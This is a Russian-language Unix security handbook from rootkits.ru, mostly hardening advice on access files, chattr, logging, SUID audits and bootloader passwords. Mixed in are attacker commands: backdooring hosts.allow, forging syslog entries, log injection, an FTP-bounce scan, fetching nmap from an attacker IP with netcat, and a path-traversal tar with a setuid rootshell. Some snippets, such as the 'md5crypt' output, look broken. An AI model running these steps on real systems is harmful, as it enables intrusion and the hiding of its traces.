ПОСОБИЕ

Проблемы безопасности UNIX-подобных ОС и Web

Притча.

Один человек всю жизнь искал правду, но никак не мог отыскать. Он исходил множество стран, побывал и на севере, и на юге, и на западе, нигде нет правды. И вот однажды он приехал в одну страну на востоке, страна была маленькая, почти ни кому не известная, и он собрался уже ехать дальше, как вдруг набрёл на какой-то заброшенный храм. И тамошний жрец сказал ему, что именно здесь, в этом храме, прячется сама правда.
Человек не поверил, но жрец уверял: так оно и есть на самом деле. И он подвёл его к большой статуе, на которую было наброшено черное покрывало.
- Вот, - сказал жрец, - она перед тобой, сама Правда.
Тогда человек протянул руку, сдёрнул покрывало и увидел перед собой ужасное, страшное, омерзительное лицо. Он отшатнулся в испуге.
- Что это? – спросил он. – Неужели это и есть правда?
И тогда правда ответила ему тихо:
- Да, это я и есть. Правда.
- Но какая же ты СТРАШНАЯ, - сказал человек, - страшнее тебя нет никого, как же я о тебе расскажу людям? Кто мне поверит?
- А ты солги, - сказала Правда, - и тебе все поверят.

http://rootkits.ru

2005 - 2007

1. Предназначение файла `/etc/hosts` – определение соответствия «доменное имя IP-адрес». Для получения доступа к компьютеру иногда бывает нужным добавить имя подключающегося хоста в файл `/etc/hosts.allow`.

```
compromised# echo 'ALL: bad_guy.example.com' >> /etc/hosts.allow
#или
compromised# echo 'sshd: 208.164.186.1 gate.openarch.com' >> /etc/hosts.allow
```

Эквивалентный способ – изменение файла `/etc/hosts.deny`. При безопасной конфигурации файл `/etc/hosts.deny` будет содержать строку "`ALL: ALL`" – это означает, что все компьютеры, не указанные в файле `hosts.allow`, не смогут установить соединение с данным хостом. Удалив эту строку,

```
compromised# cat /dev/null > /etc/hosts.deny
```

Будет то же результат, только доступ будет открыт для всех желающих.
После правки лучше сделать `chattr +i` (см. 4) и проверку на синтаксис (программа `tcpdchk`)

2. В файле `/etc/apt/sources.list` – список серверов для обновления системы через сеть. Символ # (после него обычно пишут комментарии) "закрывает" соответствующий сервер. После правки лучше сделать `chattr +i` (см. 4).

3. Файл `/etc/profile` содержит строчку `umask 022`, которую лучше сменить на `umask 077`. Это повысит безопасность - создаваемые файлы по умолчанию сможете прочитать только Вы (и администратор, естественно). После правки лучше сделать `chattr +i` (см. 4).

4. Полезные атрибуты файла:

`A`	отключает создание метки atime для записи времени последнего доступа к файлу, что позволяет сократить количество операций обращения к носителю. Не поддерживается многими версиями ядра (до версии 2.0). В некоторых случаях лучше смонтировать файловую систему с параметром noatime.
`a`	Только дозапись данных. Устанавливается суперпользователем.
`d`	Такой файл будет пропущен при создании backup'а системы.
`i`	Файл нельзя переименовывать, создавать на него ссылки, модифицировать.
`s`	При удалении файла занимаемое им место заполняется нулями.
`S`	При модификации файла все изменения синхронно фиксируются на НМЖД.

Использование команды:

```
#Чтение атрибутов:
user$ lsattr my_file.txt
-------- my_file.txt
#Установка атрибутов:
user$ chattr +c my_file.txt
user$ chattr +s my_file.txt
user$ chattr +d my_file.txt
#Чтение атрибутов:
user$ lsattr my_file.txt
s-c---d- my_file.txt
#Снятие атрибутов:
user$ chattr -d my_file.txt
s-c----- my_file.txt
```

Используйте команду `chattr +i` для запрещения изменения всех файлов программ в каталогах `/bin`, `/usr/bin`, `/sbin`, `/usr/sbin`, `/lib` и т.п. Эти файлы обычно обновляются редко и желательно знать обо всех случаях, когда это необходимо.

Установим опцию noatime для файловой системы /mnt/linux_games. Отредактируем файл /etc/fstab и добавим, например, такую строку:

```
/dev/hda7 /mnt/linux_games ext2 defaults,noatime 1 2
```

Перезагрузка.

```
cat /proc/mounts
```

В результате одной из строк, выводимых на экране, должна быть

```
/dev/hda7 /mnt/linux_games ext2 rw,noatime 0 0
```

Мы видим, что /mnt/linux_games имеет атрибут noatime.

5. В файле /etc/securetty задается список терминалов, которым разрешено подключаться к системе с правами root.
Примерный вид:

```
[root@localhost vi]# cat /etc/securetty
vc/1
vc/2
vc/3
vc/4
vc/5
vc/6
vc/7
vc/8
vc/9
vc/10
vc/11
tty1
tty2
tty3
tty4
tty5
tty6
tty7
tty8
tty9
tty10
tty11
```

Лучше оставить только tty1 (остальные удалить).

```
[root@localhost vi]# echo tty1 > /etc/securetty
```

6. Создание замкнутого пространства для программ. Командой chroot можно определить каталог для определенной программы, "выше" которого она обращаться не сможет. Например, замкнутый каталог /usr/local/castro. Если программа обращается к /bin/ls, вызывается не стандартная программа ls, а программа, расположенная (она должна там быть, а иначе зачем вызывать, чего нет) /usr/local/castro/bin/ls
Запуск программ в замкнутой среде chroot.

```
root# chroot /usr/local/castro /bin/ls
```

Здесь в пространстве /usr/local/castro запущена программа /bin/ls. Учтите, что для ее нормальной работы нужны еще несколько файлов. Их можно узнать, использовав команду

```
ldd /bin/ls
```

```
libc.so.6 => /lib/i686/libc.so.6 (0x40033000)
```

Это означает, что в замкнутой среде нужно создать путь `/lib/i686/libc.so.6`

7. Еще одним (простым) методом повышения безопасности является поиск всех программ с установленными битами идентификатора пользователя (SUID) и идентификатора группы (SGID). Вывести список всех таких файлов можно следующей командой.

```
[root@localhost vi]# find / \( -perm -02000 -o -perm -04000 \) -ls
370215    4 drwxr-sr-x   8 root     rpm          4096 Апр 10 22:39 /usr/lib/rpm
180981    4 -rwx--s--x   1 root     netwatch     3984 Июл  5  2004 /sbin/netreport
 49329   76 -rws--x--x   1 root     root        72744 Июн 25  2004 /bin/mount
 49330   36 -rws--x--x   1 root     root        33160 Июн 25  2004 /bin/umount
 49658   36 -rws--x--x   1 root     root        32812 Авг 27  2003 /bin/ping
 49663   20 -rws--x--x   1 root     root        19400 Фев  9  2004 /bin/su
```

Равнозначно и проще использовать команду

```
# find / -perm +06000 -ls
```

Также можно воспользоваться программой sXid, обладающей большими возможностями (ftp://marcus.seva.net/pub/sxid/).
Из всех программ (приводимый листинг очень сокращен), следует оставить su и sudo, чтобы сохранить себе возможность получить права администратора. После всех действий пользователь не сможет, например, сменить свой пароль, не прибегнув к помощи администратора.
В Debian есть /var/log/setuid.*, в которых приводится список списоктаких файлов и ежедневные изменения оных: .today, .yesterday, .changes.N.gz

8. Сканирование портов может обнаружить программа scanlogd (http://www.openwall.com/scanlogd/). Сканирование регистрируется утилитой syslog. Сообщения syslog имеют формат:

```
адрес_отправителя to адрес_получателя ports порт, порт, ..., TCP_флаги @время
```

9. Общую безопасность системы можно повысить, используя пакет Bastille (http://bastille-linux.sourceforge.net/). Он доступен в .rpm-пакете. Лучше брать последние версии. После инсталляции достаточно запустить программу InteractiveBastille. После настройки будет создан файл BackEnd.pl, служащий для автоматической настройки на других подобных машинах. Для этого достаточно запустить файл AutomatedBastille.pl

10. Обычно, в каталоге `/var/log` хранятся лог-файлы различных программ. Также обычно, что просмотреть их может только администратор. Однако лучше создать отдельную группу и определить пользователя в ней, которого наделить правами чтения лог-файлов. Это, как ни противоречиво может показаться, повышает безопасность системы. Ведь программы, анализирующие лог-файлы, могут содержать ошибки, да и просто запускать другие программы с правами root. Утилита syslog - стандартное средство регистрации событий. Регистрация информации осуществляется на основе категорий (например, cron, daemon, mail) и их приоритета (например, warning и debug).

Категории	Описание
`auth`	Сообщения о нарушении безопасности и авторизации доступа
`authpriv`	Сообщение об использовании привилегированного доступа
`cron`	Сообщения демонов cron и at
`daemon`	Сообщения, генерируемые другими выполняющимися демонами (sshd, inetd, pppd и т.д.)
`kern`	Сообщения ядра
`lpr`	Сообщения подсистемы печати

mail	Сообщения почтовых программ
news	Сообщения системы новостей
syslog	Сообщения, создаваемые syslog
user	Сообщения, генерируемые пользовательскими программами
uucp	Сообщения UUCP
local0-local7	Определяются для конкретной системы

Приоритеты	Описание сообщения
emerg	Система непригодна для дальнейшей работы
alert	Состояние системы требует немедленного вмешательства
crit	Состояние представляет непосредственную угрозу системе
err	Сообщения об ошибках
warning	Предупреждающие сообщения
notice	Допустимое, но требующее внимания администратора состояние системы
info	Информационное состояние системы
debug	Отладочные сообщения

В файле /etc/syslog.conf определяются сообщения, регистрируемые демоном syslog в формате

```
категория.приоритет     <адрес_сохран._рег._сообщен.>
```

Также имеется демон syslog-ng. Конфигурационный файл /etc/syslog-ng.conf позволяет более гибкое задание условий.

11. Воспрепятствовать изменению лог-файлов, если взломщик получил доступ к учетной записи root, можно, если используется по крайней мере файловая система ext2 или ext3 (с другими неясно) дать команду:

```
root# chattr +a /var/log/messages
root# cat /dev/null > /var/log/messages
cannot craete /var/log/messages: Operation not permitted
root# rm /var/log/messages
cannot ulink '/var/log/messages': Operation not permitted
```

То есть, используя параметр +a команды chattr файл messages переводится в режим только добавления данных. Естественно, это можно снять командой chattr -a (если, конечно Вы не переделаете "под себя" утилиту chattr).

12. С помощью утилиты logger пользователь может записать в системный журнал, например, такое сообщение:

```
bad_guy$ logger -p kern.alert "authentication failure; logname=npublic uid=509
euid=0 tty= rhost= user=root"
```

То есть пользователь bad_guy записал в системный журнал, что пользователь npublic пытался войти в систему под системным аккаунтом администратора, хотя этого не было.

В журнале будет записано:

```
Aug 10 07:58:01 smarmy jdoe: authentication failure; logname=npublic uid=509 euid=0
tty= rhost= user=root
```

Если вызвать logger с параметром -t, запись будет выглядеть идентично настоящей попытке использования команды su:

```
bad_guy$ logger -p kern.alert -t 'su(pam_unix)' "authentication failure;
logname=npublic uid=509 euid=0 tty= rhost= user=root"
```

Естественно, запись в журнал можно занести и другой программой.

13. Программа logrotate. С достижением определенного размера файла журнала (logfile), он заменяется (переименовывается) другим файлом (logfile.1), который, в свою очередь, заменяет logfile.2, а тот logfile.4.И, наконец, предыдущая версия файла logfile.4 (не бесконечное же их количество) затирается (уничтожается) файлом logfile.4. Используя тот же logger, можно перезаписать журнал системы, стерев попытки взлома.
Для противодействия можно открыть файл `/etc/logrotate.conf` и поправить максимальный размер, число ротации и другие параметры. Лучше отключить автоматическую очистку демоном cron. Также можно записывать журналы на WORM-носители (поддерживают однократную запись).

14. Если чтение файлов журнала осуществляется утилитами (пейджерами) типа more, tail или cat, то лучше от них отказаться. К HTTP-запросу может быть добавлен символ возврата каретки (\r).

```
GET / HTTP/1.0 \r\r\n
```

При просмотре журнала запись может отобразиться так.

```
“ 200 1456- - [16/Aug/2002:19:05:53 -0500] “GET / HTTP/1.0
```

Запрос может содержать и подложный IP-адрес.

```
GET / HTTP/1.0 \r192.168.1.1 - - [16/Aug/2002:19:05:53 -0500] “GET / HTTP/1.0\r\n
```

При просмотре журнала отобразится следующее.

```
192.168.1.1 - - [16/Aug/2002:19:05:53 -0500] "GET / HTTP/1.0" 200 496
```

Применение утилиты типа vi, позволяет видеть символ перевода каретки и, соответственно, IP-адрес.

```
210.266.2.4 - - [16/Aug/2002:19:13:30 -0500] "GET / HTTP/1.0 ^M" 200 1456
```

15. При установленной дате компрометации компьютера можно проследить время модификации всех файлов и найти те, которые были изменены после взлома:

```
[root@localhost Desktop]# touch -t 200509170000.00 /tmp/comprasion
[root@localhost Desktop]# find / \( -newer /tmp/comprasion -o -cnewer
/tmp/comprasion \) -ls
find: /mnt/cdrom: No medium found
find: /proc/3071/fd: No such file or directory
find: /proc/3086/fd/4: No such file or directory
find: /proc/3086/fd/4: No such file or directory
```

200509170000.00 -- год-месяц-число-часы-минуты-секунды.
Однако, это проверка обычно бесполезна. Можно проводить проверку на целостность файлов программами Tripwire (http://sourceforge.net/projects/tripwire и http://tripwire.org), AIDE (http://www.cs.tut.fi/~rammer/aide.html), Nabou (http://www.nabou.org/), Samhain - можно сохранять отчеты в БД MySQL или PostgreSQL (http://la-samhna.de/samhain/)

Или же используя System V алгоритм:

```
[vi@localhost vi]$ sum -s jtr.txt
35863 12 jtr.txt
```

Используя BSD-алгоритм:

```
[vi@localhost vi]$ sum -r jtr.txt
58086     6
```

Используя md5-алгоритм:

```
[vi@localhost vi]$ md5sum jtr.txt
d0267bb7c6d0edc7499446e11c1fb2ca  jtr.txt
```

Используя цифровую подпись PGP. Для ее проверки следует получить открытый ключ отправителя.

```
[vi@localhost vi]$ pgp sourcecode.tgz.asc
Good signature from user "Reegen <Regen@example.com>".
Signature made 2000/04/19 04:43 PDT
```

Или при использовании программы Gnu Privacy Guard.

```
[vi@localhost vi]$ gpg --verify sourcecode.tgz.asc
gpg: Signature made Wed 19 Apr 2000 04:43:00 AM PDT
using RSA key ID 8827E1FA
gpg: Good signature from "Reegen <Reegen@example.com>"
```

Для защиты RPM-пакетов тоже используют цифровые подписи PGP. Если открытый PGP-ключ уже импортирован, то для проверки подписи необходимо выполнить команду.

```
[vi@localhost vi]$ --checksig program.rpm
program.rpm md5 GPG OK
```

Только учтите, что все их можно подделать, а md5 скомпрометирован!

16. С помощью ping, fping, echo (7 порт) можно проводить зондирование сети, то есть узнавать подключенные к сети компьютеры и версию операционной системы (если нет попыток ее скрыть). Так что желательно установить фильтр на прием входящих ECHO REQUESTS и отправки исходящих ECHO REPLY пакетов. Разрешать ping правильным будет только для компьютеров локальной сети. Также отключить службу echo. Для этого в файле `/etc/inetd.conf` следует закомментировать (добавив символ # в начало строки) следующие строки:

```
echo  stream      tcp   nowait      root  internal
echo  dgram       udp   wait        root  internal
```

Если запущен демон xinetd, то удалите файл `/etc/xinetd.d/echo` или установите значение параметра disable = yes в разделе описания службы:

```
service echo
{
      Disable     = yes
      Type        =INTERNAL
      socket_type =stream
...
```

17. Самый легкий способ сканирования машины (с установлением полного соединения):

```
[r00t@localhost vi]$ netcat -v -w 4 -z 127.0.0.1 1-6
Connection to 127.0.0.1 1 port [tcp/tcpmux] failed : Connection refused
Connection to 127.0.0.1 2 port [tcp/*] failed : Connection refused
```

```
Connection to 127.0.0.1 3 port [tcp/*] failed : Connection refused
Connection to 127.0.0.1 4 port [tcp/*] failed : Connection refused
Connection to 127.0.0.1 5 port [tcp/rje] failed : Connection refused
Connection to 127.0.0.1 6 port [tcp/*] failed : Connection refused
```

-v	Вывод подробного отчета
-w 4	Интервал ожидания для соединения (ожидать 4 секунды)
-z	Не отправлять данные на открытый порт (используется только для сканирования; никаких данных не должно быть передано, соединение обрывается сразу после его установления).
127.0.0.1	Сканируемый хост
1-6	Номера сканируемых портов (могут быть в диапазоне 1-65535)
-v -v	Вывод очень подробного отчета
-u	UDP-сканирование

Так же можно осуществить. Для этого следует добавить параметр -u:

```
[r00t@localhost vi]$ netcat -v -v -w 4 -u -z 127.0.0.1 1 9 13 18 19 21 37 50 53 67-70
```

UDP-сканирование проходит медленнее.
Вообще говоря, данная утилита для сканирования не предназначена. Для сканирования лучше использовать утилиту strobe, разработанная Джулианом Ассанжем (Julian Assange). Она позволяет проводить параллельное сканирование портов, выводить версию (баннер) демона, для которого осуществлена привязка к конкретному порту да и работает быстрее ISS2.1.

Очень популярным средством сканирования является nmap.

Методы сканирования	
-sT	Сканирование с подключением. Доступно без привилегий суперпользователя.
-sS	SYN сканирование без соединения уже требует прав администратора.
-sF	FIN-сканирование. Согласно RFC 793, если порт закрыт, в ответ отправляется пакет RST. Отсутствие пакета означает, что порт открыт. Это не относится к системам Windows.
-sX	Почти FIN-сканирование, только используется пакет с флагами FIN, URG, PUSH
-sN	Нуль-сканирование. То же, что и предыдущие два типа сканирования, но в отправляющимся пакете не установлено никаких флагов.
-sU	UDP-сканирование. На каждый порт отправляется пустой UDP-пакет. Если в ответ поступает сообщение, что порт ICMP недоступен. Это означает, что порт закрыт. Из-за того, что некоторые ОС следуют рекомендациям RFC 1812, ограничивающим скорость передачи сообщений об ошибках, то процесс UDP-сканирования может быть долгим.
-sO	Сканирование IP-протоколов. Используется для определения IP-протоколов, поддерживаемых исследуемым хостом. Исследуемому хосту отправляются IP-пакеты без заголовка для каждого протокола. Если будет получено сообщение Protocol Unreachable, то данный протокол не используется хостом.
-sA	Сканирование ACK-пакетами. Позволяет получить набор правил, используемых брандмауэром. На сканируемый порт хоста отправляется ACK-пакет. Если в ответ поступает RST-пакет, то порт классифицируется как нефильтруемый (unfiltered) брандмауэром. В любом другом случае порт считается фильтруемым (filtered).
-sW	Сканирование размеров окна (Window size). Метод похож на предыдущий, за исключением того, что, в зависимости от полученного размера окна протокола TCP для некоторых, кроме фильтруемых или нефильтруемых портов, он позволяет определить открытые порты. Операционная система Linux неуязвима для такого сканирования, но это не всегда справедливо для брандмауэров.

-sR	Сканирование портов служб RPC. Выявляет порты служб RPC и связанные с ними программ и их версий.
-O	Определение операционной системы, использующийся на сканируемом хосте. (http://windows.nxt.ru/art6.html)
Параметры конфигурации	
-P0	Сканирование выполняется без определения того, подключен ли данный компьютер к сети. Этот параметр позволяет выполнить сканирование, когда известно, что компьютер точно работает и/или ответные ICMP-пакеты заблокированы с помощью брандмауэра.
-I	Выполнение сканирования для идентификации запущенных процессов. После установления соединения с портом 113 (в данном случае должна быть произведена полная процедура установки TCP-соединения) nmap опрашивает демон identd сканируемого хоста параллельно с каждым открытым портом. Часто это позволяет по идентификатору владельца определить имя владельца (в том числе и root) процесса, связанного с данным портом.
-f	Режим фрагментации пакетов. TCP-пакеты разбиваются на несколько небольших фрагментов, которые должны быть дефрагментированы на сканируемом хосте. Многие фильтры пакетов и брандмауэры не выполняют дефрагментацию пакетов, и пакеты беспрепятственно передаются дальше во внутреннюю сеть к исследуемому компьютеру.
-v	Режим вывода подробного отчета.
-vv	Режим вывода очень подробного отчета. Можно увидеть содержимое nmap-пакетов.
-D	Сканирование с указанием нескольких ложных адресов хостов. Позволяет создать список, в котором будут перечислены, кроме истинного компьютера, имена (или IP-адреса) фиктивных хостов. При этом на стороне сканируемого хоста создается видимость, что выполняется одновременное сканирование с различных машин, что значительно затруднит определение реального источника сканирования. При назначении фиктивных хостов нужно соблюдать некоторую осторожность, так как определенные брандмауэры могут навсегда заблокировать доступ хосту, предпринявшему попытку сканирования.
-T	Режим сканирования с контролем по времени. Так как многие детекторы сканирования устанавливают ограничения на количество пакетов, полученных за определенный интервал времени, то их можно обмануть с помощью более медленной скорости сканирования. Режим сканирования с контролем по времени задается в качестве аргумента в диапазоне от Paranoid (один пакет в 5 секунд) до Insane (каждые 0.3 секунды). В последнем случае информация может быть утеряна из-за высокой скорости сканирования.
-o?	Сохранение выводимых данных в нескольких форматах, включая XML. Например, параметр -oS - недокументированный формат для начинающих взломщиков.

Вот пример отчета (консоль):

```
[root@localhost vi]# nmap -v -sS -O 127.0.0.1

Starting nmap 3.55 ( http://www.insecure.org/nmap/ ) at 2005-04-16 22:45 MSD
Host localhost.localdomain (127.0.0.1) appears to be up ... good.
Initiating SYN Stealth Scan against localhost.localdomain (127.0.0.1) at 22:45
Adding open port 111/tcp
The SYN Stealth Scan took 0 seconds to scan 1660 ports.
For OSScan assuming that port 111 is open and port 1 is closed and neither are firewalled
Interesting ports on localhost.localdomain (127.0.0.1):
(The 1659 ports scanned but not shown below are in state: closed)
PORT    STATE SERVICE
111/tcp open  rpcbind
Device type: general purpose
Running: Linux 2.4.X|2.5.X
OS details: Linux 2.4.0 - 2.5.20 w/o tcp_timestamps
TCP Sequence Prediction: Class=random positive increments
Difficulty=3071665 (Good luck!)
IPID Sequence Generation: All zeros
```

```
Nmap run completed -- 1 IP address (1 host up) scanned in 5.886 seconds
```

SYN-сканирование блокируется автоматически практически всеми брандмауэрами. FIN и другие - Snort'ом.
В утилите nmap предусмотрен режим сканирования, использующий возможности команды PORT FTP-сервера. Наличие команды PORT еще не может быть достаточным условием для установления соединения, т.е. надо запросить какие-то данные. С этой целью nmap использует команду LIST. Для выполнения сканирования в режиме атаки по FTP при запуске nmap нужно указать параметр -b в следующей форме.

```
user$ nmap -b name_user:password@ftp-server:port
```

Очевидно, что нужно указать параметр пропуска процедуры ping-тестирования. Учтите, что некоторые брандмауэры отвечают на команды PORT и PASV только при поступлении запросов от компьютеров защищаемой сети.
Пример сканирования.

```
bad_guy# nmap -P0 -b name_user:password@ftp-server:21 \
          -p 5400,5500,5800,5900,6000 target.example.com

Starting nmap V. 2.3BETA14 by fyodor@insecure.org (www.insecure.org/nmap/ )
Interesting ports on target.example.com (172.16.217.202):
Port    State    Protocol    Service
5400    open     tcp         unknown
5800    open     tcp         vnc
5900    open     tcp         vnc

Nmap run completed -- 1 IP address (1 host up) scanned in 12 seconds
```

Многие FTP-серверы устанавливают свои исходящие соединения через порт 20 (ftp-data). Если заблокировать на сервере соединения порта 20, то можно сказать, что машина защищена от сканирования с помощью атаки по FTP. Конечно, таким образом можно заблокировать и обычный обмен данными с доверенными хостами.

```
iptables -A INPUT -I eth0 -p tcp -d $ME -s 0/0 --dport 20 -j DROP
```

Однако не все FTP-серверы используют порт 20, поэтому такое решение нельзя назвать надежным. Из всех средств сканирования (nessus, Satan [SAINT], NSAT) следует выделить Remote Access Session (http://www.salix.org/raccess/). Данная программа при проверке уязвимых мест применяет программы атаки. Результатом сканирования и обнаружения уязвимости является предоставление доступа к компьютеру.

```
root# raccess -o 10.10.164.74
```

С помощью программы netcat можно загрузить двоичный файл nmap со своего локального хоста.

```
bad_guy_comp# nc -p 8889 -l </usr/bin/nmap

compromised$ nc -p 8080 -w 2 (ip_bad_guy) 8889 >/tmp/nmap </dev/null
compromised$ nmap -sS localhost
```

18. Отключив демон identd, злоумышленнику будет сложнее узнать о процессах, однако это может привести к замедлению отправки исходящих сообщений для служб, использующих запросы identd. Например, sendmail ожидает ответа identd с 30-ти секундным лимитом по времени, что приводит к паузе перед отправкой сообщений.

19. Если хост поддерживает работу с протоколом SNMP, то, подобрав строку доступа (community string), нарушитель получает доступ к подробно информации о компьютере.

20. Меры противодействия предоставлению идентификационных маркеров.
В файле `/etc/issue` содержится информация, отображаемая при удаленном вызова компьютера с помощью telnet. Из файла нужно удалить всю информацию о конкретном хосте, а еще лучше подменить ее ложной информацией. Этот файл обновляется при каждой загрузке системы, поэтому нужно отключить такую функцию или же выполнить команду `chattr +i /etc/issue`. До того, как это будет сделано, следует полностью отключить программу telnet и установить вместо нее OpenSSH.

Следует изменить значение параметра SmtpGreetingMessage в файле `/etc/sendmail.cfc`

```
O SmtpGreetingMessage=$j Sendmail $v/$Z; $b
```

на какое-нибудь фиктивное значение, например:

```
O SmtpGreetingMessage=$j ReegenMail 4.19.00; $b
```

etc...

А тип и версию ОС можно узнать как nmap (см. 17), так и xprobe

```
[root@localhost vi]# xprobe -v some_machine.org
```

Скачать программу можно по адресу http://www.sys-security.com/html/projects/X.html или http://xprobe.sourceforge.net.
Для защиты от действий утилиты xprobe будет достаточно заблокировать отправку ответных ICMP-сообщений при получении UDP-ракетов на закрытый порт. Однако, это может привести к блокированию работы других служб.

С помощью программы siphon (subterrain.net)

```
comp# ./siphon -v -i eth0 -o fingerprints.out
```

А также p0f (http://www.streams.org/p0f)

```
root# p0f -i eth0 -v
```

Или же утилиты ping.

Можно проводить пассивное исследование стека.
В каталоге `/proc/sys/net/ipv4` хранятся конфигурационные файлы с параметрами Default TTL, TOS и другими. Сменив их, можно запутать подобные программы, только при больших различиях значений это может привести к снижению производительности сети или даже к несовместимости.

```
root# cd /proc/sys/net/ipv4
root# cat ip_default_ttl
64
root# echo 35 > ip_default_ttl
root# cat ip_default_ttl
35
```

Средства наподобие IPLog (программа-регистратор пакетов), доступные на сайте http://ojnk.sourceforge.net, позволяют отправлять ответные пакеты, которые предназначены для дезинформации утилиты nmap, что приводит к ошибочному определению ОС. Чтобы обмануть все известные программы активного исследования стека, можно установить программу IPPersonality

(http://ippersonality.sourceforge.net) только для версии ядра 2.4. Она взаимодействует с утилитами netfilter и iptables, позволяя имитировать любую операционную систему.

21. Программа tar несет в себе некоторую опасность. Используя HEX-редактор, можно как переименовывать файлы, так и менять пути их извлечения. Например.

```
root# cd /var/tmp
root# mkdir unpack
root# tar tvzf arch.tgz
-rw------- root/bin    4574 2004-10-15 18:18:18 /etc/nologin
-rwxr-xr-x root/bin  434564 2004-10-15 18:18:18 ../../../../../bin/grep
-rw------- root/bin   26548 2004-10-15 18:18:18 /../../../../../bin/ls
-rw------- root/bin      11 2004-10-15 18:18:18 passwd -> /etc/passwd
-rw------- root/bin    4102 2004-10-15 18:18:18 passwd
-rwsr-xr-x root/bin   41478 2004-10-15 18:18:18 rootshell
```

1	В имени файла стоит косая черта `/etc/nologin` и он будет распакован в каталог `/etc` вместо каталога `/var/tmp/unpack`.
2	Имени файла grep предшествуют многочисленные ссылки на родительский каталог в расчете на установление в каталог `/bin`.
3	Тот же метод для файла ls.
4	Файл passwd, являющийся символьной ссылкой.
5	Файл passwd, чтобы с помощью символьной ссылки заменить файл `/etc/passwd`.
6	файл rootshell, для которого установлен бит SUID с правами root.

22. Защита паролем загрузки ОС. В файле `/etc/lilo.conf` содержится информация о способе загрузки ОС. Его примерный вид:

```
boot=/dev/hda
map=/boot/map
install=/boot/boot-bmp.b
vga=0x0317
default=linux-up
message=/boot/splash/message
prompt
timeout=50
image=/boot/vmlinuz-up
        label=linux-up
        root=/dev/hda7
        initrd=/boot/initrd-up.img
        read-only
image=/boot/vmlinuz-up
        label=failsafe
        root=/dev/hda7
        initrd=/boot/initrd-up.img
        vga=normal
        append=" failsafe noapic nolapic acpi=off"
        read-only
other=/dev/hda1
        label=NT
        table=/dev/hda
```

Можно добавить строчку password=пароль, и для загрузки системы будет необходимо вводить пароль. Параметр restricted используется не для всех образов.

```
image=/boot/vmlinuz-up

      password=пароль
      restricted
```

```
        label=linux-up
        root=/dev/hda7
        initrd=/boot/initrd-up.img
        read-only
```

Также можно указать глобальный пароль для загрузки.

```
boot=/dev/hda
map=/boot/map
install=/boot/boot-bmp.b
vga=0x0317
default=linux-up
message=/boot/splash/message
prompt
timeout=50

      password=глобальный_пароль
      restricted

image=/boot/vmlinuz-up
      ...
```

Как видно, эти пароли хранятся в незашифрованном виде и лучше сделать чтение файла доступным только суперпользователю.

```
root# chown root:root /etc/lilo.conf
root# chmod 600 /etc/lilo.conf
```

Загрузчик GRUB является более функциональным, но он предоставляет полнофункциональный командный интерфейс, наподобие командного интерпретатора. Для доступа к последнему достаточно нажать клавишу <C>. Появится приглашение на ввод команд.

```
grub>
grub> cat /etc/passwd
grub> cat /etc/shadow
```

Конфигурационный файл загрузчика GRUB `/etc/grub.conf` лучше защитить от чтения как и `lilo.conf`

```
root# chown root:root /etc/grub.conf
root# chmod 600 /etc/grub.conf
```

Также можно устанавливать пароли на загрузку, а еще можно шифровать их.
Сначала зашифруем:

```
grub> md5crypt
Password: *******
Encrypted: $yr88huh&&yHY&7yHBHyy&&H7
```

Полученную строку можно скопировать в файл `/etc/grub.conf`

```
default=0
timeout=10
password --md5 $yr88huh&&yHY&7yHBHyy&&H7
splashimage=(hd0,0)/grub/splash.xpm.gz
title Red Had Linux (2.4.18-3)
      root (hd0,0)
      kernel /vmlinuz-2.4.18-3 ro root=/dev/hda6
      initrd /initrd-2.4.18-3/img
```

Команда passwords может использоваться и для сокрытия раздела жесткого диска.

```
title Boot DOS
      passwords --md5 $yr88huh&&yHY&7yHBHyy&&H7
      root (hd0,1)
      .
      .
```

Ввод пароля потребуется, если пользователь захочет выполнить загрузку из раздела Boot DOS. Если не писать параметр `--md5`, то `$yr88huh&&yHY&7yHBHyy&&H7` будет паролем, а не его хешем.

23. Отключение перезагрузки по <Ctrl+Alt+Del>. Реакция на нажатие данных клавиш задана в файле `/etc/inittab`

```
# What to do when CTRL-ALT-DEL is pressed.
ca:012345:ctrlaltdel:/sbin/shutdown -t3 -r now
```

Для отключения этой функции следует закомментировать следующие строки

```
# What to do when CTRL-ALT-DEL is pressed.
# ca:012345:ctrlaltdel:/sbin/shutdown -t3 -r now
```

Это может быть полезным (только в качестве составного элемента) при защите от так называемых физических атак, когда в распоряжении злоумышленника только "физический" терминал (другими словами, клавиатура и монитор). Данная мера не даст перезагрузить компьютер и войти в систему с более высокими привилегиями, используя стандартный загрузчик (п.22).

24. Служба NFS используется для монтирования файловых систем с удаленных компьютеров в локальные каталоги. Если параметры экспортирования выбраны неправильно, то компьютер будет открыт для атак с любой внешней машины.
Для хранения перечня экспортируемых файловых систем первоначально использовался файл `/etc/exports`. Формат этого файла:

```
<каталог>   <параметры>[<дополнительные параметры>]
```

Параметры позволяют задать список компьютеров, которым разрешено монтирование файловой системы. Наихудший вариант конфигурации файла `/etc/exports` выгладит так:

```
/     rw
```

Чтобы изменения вступили в дейтсвие вам необходимо выполнить команду `/usr/sbin/exportfs va`
То есть корневая файловая система экспортируется всем компьютерам и сетям с правами чтения-записи. Выполнив команду mount на удаленном компьютере, любой пользователь может просматривать и редактировать любо файл.

```
root# mount <хост>:<файловая система> <локальный каталог>
```

Чтобы защитить собственные файловые системы от доступа извне, следует заблокировать обращение извне к порту 2049. Лучше вообще службу NFS не запускать. Отключить ее можно с помощью редактирования файла `/etc/rc#.d`.

25. Если на экран монитора выводится окно для ввода аутентификационных данных пользователя для входа в систему, значит, на этом компьютере запущен сервер Xdm. Для запрета серверу Xdm возможности предоставления доступа внешним пользователям следует отредактировать файл `/etc/X11/xdm/xdm-config`, добавив в него следующую строчку.

```
DisplayManager.requestPort: 0
```

Затем нужно закомментировать все строки, добавив символ # в начало каждой строки. Это полностью запретит подключение к Xdm серверу по сети.

26. X-window система может оказывать значительное влияние на безопасность системы. Можно осуществить просмотр вводимых символов с помощью программы Xkey (http:/packetstormsecurity.org), создание, уничтожение окон, создание снимков экрана с помощью утилиты xwd (часть самой системы X-Window). Поиск в сети серверов X-Window осуществим с помощью программы Xscan (http:/packetstormsecurity.org).
Безопаснее всего запретить серверу X-Window прослушивать порт, использующийся для доступа по сети удаленных клиентов.

```
$ startx -- -nolisten tcp
```

Также можно использовать собственную программу для запуска сервера X-Window.

```
#!/bin/sh
# $Id: xserverrc,v 1.1 2003/10/14 11:47:21 ldv Exp $
#Пути могут быть различны для разных версий ОС!
usr_X11R6_bin_X=/usr/X11R6/bin/X
exec "$usr_X11R6_bin_X" -nolisten tcp "$@"
```

